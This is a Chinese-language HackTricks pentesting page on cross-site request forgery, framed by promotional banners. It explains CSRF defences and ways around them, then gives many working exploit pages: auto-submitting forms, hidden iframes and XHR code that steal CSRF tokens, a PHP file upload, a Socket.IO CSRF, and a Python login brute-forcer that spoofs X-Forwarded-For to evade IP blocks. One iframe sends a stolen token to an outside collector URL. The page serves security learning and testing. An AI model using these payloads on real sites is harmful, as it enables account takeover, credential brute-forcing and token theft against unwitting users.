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582 lines
23 KiB
Markdown
582 lines
23 KiB
Markdown
# CSRF (跨站请求伪造)
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<details>
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<summary><strong>从零到英雄学习AWS黑客攻击,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
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支持HackTricks的其他方式:
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* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
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* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
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* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
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* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
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</details>
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<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
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**黑客洞察**\
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深入了解黑客的刺激和挑战
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**实时黑客新闻**\
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通过实时新闻和洞察,跟上快节奏的黑客世界
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**最新公告**\
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了解最新发布的漏洞赏金和关键平台更新
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**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
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## 什么是CSRF?
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**跨站请求伪造**(也称为CSRF)是一种网络安全漏洞,允许攻击者**诱导用户执行他们无意进行的操作**。\
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这是通过**让已登录用户**在受害平台访问攻击者控制的网站,并从那里**执行**恶意JS代码、发送表单或检索“图片”到**受害者账户**来完成的。
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### 先决条件
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为了能够利用CSRF漏洞,你首先需要**找到一个相关的操作来滥用**(更改密码或电子邮件,让受害者在社交网络上关注你,给你更多权限...)。**会话必须仅依赖于cookies或HTTP基本认证头**,任何其他头不能用来处理会话。最后,请求中**不应该有不可预测的参数**。
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可能有几种**防御措施**可以避免这种漏洞。
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### **常见防御**
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* [**SameSite cookies**](hacking-with-cookies/#samesite):如果会话cookie使用了这个标志,你可能无法从任意网站发送cookie。
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* [**跨源资源共享**](cors-bypass.md):根据你需要执行的HTTP请求类型来滥用相关操作,你可能需要考虑**受害站点的CORS策略**。_注意,如果你只是想发送一个GET请求或一个来自表单的POST请求,并且你不需要读取响应,那么CORS策略不会有影响。_
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* 要求用户输入**密码**以授权操作。
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* 解决一个**验证码**。
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* 读取**Referrer**或**Origin**头。如果使用了正则表达式,它可能被绕过,例如使用:
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* http://mal.net?orig=http://example.com (以url结尾)
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* http://example.com.mal.net (以url开头)
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* **修改** Post或Get请求的**参数**的**名称**
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* 在每个会话中使用**CSRF令牌**。这个令牌必须在请求中发送以确认操作。这个令牌可以用CORS保护。
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### CSRF图谱
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![](<../.gitbook/assets/image (112).png>)
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## 绕过防御
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### 从POST到GET
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也许你想滥用的表单准备发送一个带有CSRF令牌的**POST请求**,但是,你应该**检查**是否一个**GET**也是**有效的**,并且当你发送一个GET请求时,**CSRF令牌是否仍在验证**。
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### 缺少令牌
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一些应用程序在令牌存在时正确**验证令牌,但如果令牌被省略则跳过验证**。\
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在这种情况下,攻击者可以**移除包含令牌的整个参数**(不仅仅是它的值),以绕过验证并发起CSRF攻击。
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### CSRF令牌未与用户会话绑定
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一些应用程序**不验证令牌是否属于发出请求的同一会话**。相反,应用程序**维护一个它发出的令牌的全局池**,并接受出现在这个池中的任何令牌。\
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在这种情况下,攻击者可以使用自己的账户登录应用程序,**获取一个有效的令牌**,然后将该令牌**提供给受害者**用户在他们的CSRF攻击中。
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### 方法绕过
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如果请求使用了一个“**奇怪的**”**方法**,检查**方法覆盖功能**是否有效。\
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例如,如果它**使用PUT**方法,你可以尝试**使用POST**方法并**发送**:_https://example.com/my/dear/api/val/num?**\_method=PUT**_
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这也可以通过在POST请求中发送**\_method参数**或使用**头**来实现:
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* _X-HTTP-Method_
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* _X-HTTP-Method-Override_
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* _X-Method-Override_
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### 自定义头令牌绕过
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如果请求在作为**CSRF保护方法**向请求添加了一个带有**令牌**的**自定义头**,那么:
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* 测试没有**自定义令牌和头**的请求。
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* 测试与**令牌完全相同长度但不同令牌**的请求。
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### CSRF令牌通过cookie验证
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在前面的漏洞上的另一个变种中,一些应用程序**在cookie和请求参数中复制每个令牌**。或者**设置一个csrf cookie**,然后在后端**检查发送的csrf令牌是否与cookie相关**。
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当后续请求被验证时,应用程序简单地验证**请求参数中提交的令牌是否与cookie存储的值匹配**。\
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在这种情况下,如果网站包含任何可能允许他将CSRF cookie设置给受害者的漏洞,攻击者可以再次执行CSRF**攻击**。
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在这种情况下,你可以尝试加载假图像来设置cookie,然后像这个例子中那样发起CSRF攻击:
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```html
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<html>
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<!-- CSRF PoC - generated by Burp Suite Professional -->
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<body>
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<script>history.pushState('', '', '/')</script>
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<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
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<input type="hidden" name="email" value="asd@asd.asd" />
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<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
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<input type="submit" value="Submit request" />
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</form>
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<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
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</body>
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</html>
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```
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{% hint style="info" %}
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请注意,如果**csrf 令牌与会话 cookie 相关联,这种攻击将不起作用**,因为您需要将您的会话设置给受害者,因此您将会攻击自己。
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{% endhint %}
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### 更改 Content-Type
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根据[**此处**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)的说明,为了**避免使用 POST 方法的预检**请求,以下是允许的 Content-Type 值:
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* **`application/x-www-form-urlencoded`**
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* **`multipart/form-data`**
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* **`text/plain`**
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但是,请注意,**服务器逻辑可能会根据使用的 Content-Type 而有所不同**,因此您应该尝试上述提到的值以及其他值,如 **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
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以下是将 JSON 数据作为 text/plain 发送的示例(来自[这里](https://brycec.me/posts/corctf\_2021\_challenges)):
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```html
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<html>
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<body>
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<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
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<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
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</form>
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<script>
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form.submit();
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</script>
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</body>
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</html>
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```
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### application/json 预检请求绕过
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如您所知,您不能通过 HTML 表单发送带有 **`application/json`** Content-Type 的 POST 请求,如果您尝试通过 **`XMLHttpRequest`** 发送,会首先发送一个 **预检** 请求。\
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然而,您可以尝试使用内容类型 **`text/plain` 和 `application/x-www-form-urlencoded`** 发送 JSON 数据,只是为了检查后端是否独立于 Content-Type 使用数据。\
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您可以通过设置 **`enctype="text/plain"`** 发送一个使用 `Content-Type: text/plain` 的表单。
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如果服务器只接受 "application/json" 内容类型,您可以 **发送内容类型 "text/plain; application/json"** 而不触发预检请求。
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您还可以尝试通过使用 **SWF flash 文件** 来 **绕过** 此限制。更多信息请[**阅读这篇文章**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。
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### Referrer / Origin 检查绕过
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**避免 Referrer 头**
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一些应用程序在请求中存在 Referer 头时会验证它,但如果省略该头,则**跳过验证**。
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```markup
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<meta name="referrer" content="never">
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```
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**正则表达式绕过**
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{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
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[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
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{% endcontent-ref %}
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要在Referrer将要在参数中发送的URL中设置服务器的域名,您可以执行:
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```html
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<html>
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<!-- Referrer policy needed to send the qury parameter in the referrer -->
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<head><meta name="referrer" content="unsafe-url"></head>
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<body>
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<script>history.pushState('', '', '/')</script>
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<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
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<input type="hidden" name="email" value="asd@asd.asd" />
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<input type="submit" value="Submit request" />
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</form>
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<script>
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// You need to set this or the domain won't appear in the query of the referer header
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history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
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document.forms[0].submit();
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</script>
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</body>
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</html>
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```
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### **HEAD方法绕过**
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[**此CTF写up的**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)第一部分解释了[Oak的源代码](https://github.com/oakserver/oak/blob/main/router.ts#L281),一个路由器被设置为**将HEAD请求作为GET请求处理**,没有响应体 - 这是一个常见的解决方法,并不是Oak独有的。它们没有一个专门处理HEAD请求的处理器,而是简单地**交给GET处理器,但应用程序会删除响应体**。
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因此,如果GET请求受到限制,你可以**发送一个HEAD请求,它将作为GET请求处理**。
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## **利用示例**
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### **窃取CSRF令牌**
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如果正在使用**CSRF令牌**作为**防御**,你可以尝试利用[**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)漏洞或[**悬挂标记**](dangling-markup-html-scriptless-injection/)漏洞来**窃取它**。
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### **使用HTML标签的GET**
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```markup
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<img src="http://google.es?param=VALUE" style="display:none" />
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<h1>404 - Page not found</h1>
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The URL you are requesting is no longer available
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```
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其他可用于自动发送 GET 请求的 HTML5 标签包括:
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![](<../.gitbook/assets/image (530).png>)
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### 表单 GET 请求
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```markup
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<html>
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<!-- CSRF PoC - generated by Burp Suite Professional -->
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<body>
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<script>history.pushState('', '', '/')</script>
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<form method="GET" action="https://victim.net/email/change-email">
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<input type="hidden" name="email" value="some@email.com" />
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<input type="submit" value="Submit request" />
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</form>
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<script>
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document.forms[0].submit();
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</script>
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</body>
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</html>
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```
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### 表单 POST 请求
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```markup
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<html>
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<body>
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<script>history.pushState('', '', '/')</script>
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<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
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<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
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<input type="submit" value="Submit request" />
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<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
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</form>
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<script>
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document.forms[0].submit(); //Way 3 to autosubmit
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</script>
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</body>
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</html>
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```
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### 通过iframe的表单POST请求
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```markup
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<!--
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The request is sent through the iframe withuot reloading the page
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-->
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<html>
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<body>
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<iframe style="display:none" name="csrfframe"></iframe>
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<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
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<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
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<input type="submit" value="Submit request" />
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</form>
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<script>
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document.forms[0].submit();
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</script>
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</body>
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</html>
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```
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### **Ajax POST 请求**
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```markup
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<script>
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var xh;
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if (window.XMLHttpRequest)
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{// code for IE7+, Firefox, Chrome, Opera, Safari
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xh=new XMLHttpRequest();
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}
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else
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{// code for IE6, IE5
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xh=new ActiveXObject("Microsoft.XMLHTTP");
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}
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xh.withCredentials = true;
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xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
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xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
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xh.send("username=abcd&status=on");
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</script>
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<script>
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//JQuery version
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$.ajax({
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type: "POST",
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url: "https://google.com",
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data: "param=value¶m2=value2"
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})
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</script>
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```
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### multipart/form-data POST 请求
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```javascript
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myFormData = new FormData();
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var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
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myFormData.append("newAttachment", blob, "pwned.php");
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fetch("http://example/some/path", {
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method: "post",
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body: myFormData,
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credentials: "include",
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headers: {"Content-Type": "application/x-www-form-urlencoded"},
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mode: "no-cors"
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});
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```
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### multipart/form-data POST 请求 v2
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```javascript
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var fileSize = fileData.length,
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boundary = "OWNEDBYOFFSEC",
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xhr = new XMLHttpRequest();
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xhr.withCredentials = true;
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xhr.open("POST", url, true);
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// MIME POST request.
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xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
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xhr.setRequestHeader("Content-Length", fileSize);
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var body = "--" + boundary + "\r\n";
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body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
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body += "Content-Type: " + ctype + "\r\n\r\n";
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body += fileData + "\r\n";
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body += "--" + boundary + "--";
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//xhr.send(body);
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xhr.sendAsBinary(body);
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```
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### 在iframe中发起表单POST请求
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```markup
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<--! expl.html -->
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<body onload="envia()">
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<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
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<input type="text" id="pwd" name="pwd" value="otra nueva">
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</form>
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<body>
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<script>
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function envia(){document.getElementById("formulario").submit();}
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</script>
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<!-- public.html -->
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<iframe src="2-1.html" style="position:absolute;top:-5000">
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</iframe>
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<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
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```
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### **窃取CSRF令牌并发送POST请求**
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```javascript
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function submitFormWithTokenJS(token) {
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var xhr = new XMLHttpRequest();
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xhr.open("POST", POST_URL, true);
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xhr.withCredentials = true;
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// Send the proper header information along with the request
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xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
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|
||
// This is for debugging and can be removed
|
||
xhr.onreadystatechange = function() {
|
||
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||
//console.log(xhr.responseText);
|
||
}
|
||
}
|
||
|
||
xhr.send("token=" + token + "&otherparama=heyyyy");
|
||
}
|
||
|
||
function getTokenJS() {
|
||
var xhr = new XMLHttpRequest();
|
||
// This tels it to return it as a HTML document
|
||
xhr.responseType = "document";
|
||
xhr.withCredentials = true;
|
||
// true on the end of here makes the call asynchronous
|
||
xhr.open("GET", GET_URL, true);
|
||
xhr.onload = function (e) {
|
||
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||
// Get the document from the response
|
||
page = xhr.response
|
||
// Get the input element
|
||
input = page.getElementById("token");
|
||
// Show the token
|
||
//console.log("The token is: " + input.value);
|
||
// Use the token to submit the form
|
||
submitFormWithTokenJS(input.value);
|
||
}
|
||
};
|
||
// Make the request
|
||
xhr.send(null);
|
||
}
|
||
|
||
var GET_URL="http://google.com?param=VALUE"
|
||
var POST_URL="http://google.com?param=VALUE"
|
||
getTokenJS();
|
||
```
|
||
### **窃取CSRF令牌并使用iframe、表单和Ajax发送Post请求**
|
||
```markup
|
||
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
||
<input type="text" name="username" value="AA">
|
||
<input type="checkbox" name="status" checked="checked">
|
||
<input id="token" type="hidden" name="token" value="" />
|
||
</form>
|
||
|
||
<script type="text/javascript">
|
||
function f1(){
|
||
x1=document.getElementById("i1");
|
||
x1d=(x1.contentWindow||x1.contentDocument);
|
||
t=x1d.document.getElementById("token").value;
|
||
|
||
document.getElementById("token").value=t;
|
||
document.getElementById("form1").submit();
|
||
}
|
||
</script>
|
||
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
|
||
```
|
||
### **窃取CSRF令牌并使用iframe和表单发送POST请求**
|
||
```markup
|
||
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
|
||
|
||
<script>
|
||
function read()
|
||
{
|
||
var name = 'admin2';
|
||
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
|
||
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
|
||
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
|
||
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
|
||
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
|
||
document.writeln('</form>');
|
||
document.forms[0].submit.click();
|
||
}
|
||
</script>
|
||
```
|
||
### **利用两个iframe窃取令牌并发送**
|
||
```markup
|
||
<script>
|
||
var token;
|
||
function readframe1(){
|
||
token = frame1.document.getElementById("profile").token.value;
|
||
document.getElementById("bypass").token.value = token
|
||
loadframe2();
|
||
}
|
||
function loadframe2(){
|
||
var test = document.getElementbyId("frame2");
|
||
test.src = "http://requestb.in/1g6asbg1?token="+token;
|
||
}
|
||
</script>
|
||
|
||
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
|
||
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
||
height="600" width="800"></iframe>
|
||
|
||
<iframe id="frame2" name="frame2"
|
||
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
||
height="600" width="800"></iframe>
|
||
<body onload="document.forms[0].submit()">
|
||
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
|
||
<input type="text" name="username" value="z">
|
||
<input type="checkbox" name="status" checked="">
|
||
<input id="token" type="hidden" name="token" value="0000" />
|
||
<button type="submit">Submit</button>
|
||
</form>
|
||
```
|
||
### **使用Ajax窃取CSRF令牌并通过表单发送POST请求**
|
||
```markup
|
||
<body onload="getData()">
|
||
|
||
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
|
||
<input type="hidden" name="username" value="root"/>
|
||
<input type="hidden" name="status" value="on"/>
|
||
<input type="hidden" id="findtoken" name="token" value=""/>
|
||
<input type="submit" value="valider"/>
|
||
</form>
|
||
|
||
<script>
|
||
var x = new XMLHttpRequest();
|
||
function getData() {
|
||
x.withCredentials = true;
|
||
x.open("GET","http://google.com?param=VALUE",true);
|
||
x.send(null);
|
||
}
|
||
x.onreadystatechange = function() {
|
||
if (x.readyState == XMLHttpRequest.DONE) {
|
||
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
|
||
document.getElementById("findtoken").value = token;
|
||
document.getElementById("form").submit();
|
||
}
|
||
}
|
||
</script>
|
||
```
|
||
### 使用 Socket.IO 的 CSRF
|
||
```markup
|
||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||
<script>
|
||
let socket = io('http://six.jh2i.com:50022/test');
|
||
|
||
const username = 'admin'
|
||
|
||
socket.on('connect', () => {
|
||
console.log('connected!');
|
||
socket.emit('join', {
|
||
room: username
|
||
});
|
||
socket.emit('my_room_event', {
|
||
data: '!flag',
|
||
room: username
|
||
})
|
||
|
||
});
|
||
</script>
|
||
```
|
||
## CSRF 登录暴力破解
|
||
|
||
以下代码可用于对带有 CSRF 令牌的登录表单进行暴力破解(它还使用了 X-Forwarded-For 头部尝试绕过可能的 IP 黑名单):
|
||
```python
|
||
import request
|
||
import re
|
||
import random
|
||
|
||
URL = "http://10.10.10.191/admin/"
|
||
PROXY = { "http": "127.0.0.1:8080"}
|
||
SESSION_COOKIE_NAME = "BLUDIT-KEY"
|
||
USER = "fergus"
|
||
PASS_LIST="./words"
|
||
|
||
def init_session():
|
||
#Return CSRF + Session (cookie)
|
||
r = requests.get(URL)
|
||
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
|
||
csrf = csrf.group(1)
|
||
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
|
||
return csrf, session_cookie
|
||
|
||
def login(user, password):
|
||
print(f"{user}:{password}")
|
||
csrf, cookie = init_session()
|
||
cookies = {SESSION_COOKIE_NAME: cookie}
|
||
data = {
|
||
"tokenCSRF": csrf,
|
||
"username": user,
|
||
"password": password,
|
||
"save": ""
|
||
}
|
||
headers = {
|
||
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
|
||
}
|
||
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
|
||
if "Username or password incorrect" in r.text:
|
||
return False
|
||
else:
|
||
print(f"FOUND {user} : {password}")
|
||
return True
|
||
|
||
with open(PASS_LIST, "r") as f:
|
||
for line in f:
|
||
login(USER, line.strip())
|
||
```
|
||
## 工具 <a href="#tools" id="tools"></a>
|
||
|
||
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||
|
||
## 参考资料
|
||
|
||
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
|
||
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||
|
||
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||
|
||
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|
||
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||
|
||
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|
||
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|
||
|
||
**最新公告**\
|
||
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|
||
|
||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **,今天就开始与顶尖黑客合作!**
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
支持 HackTricks 的其他方式:
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|
||
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|
||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
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||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧。
|
||
|
||
</details>
|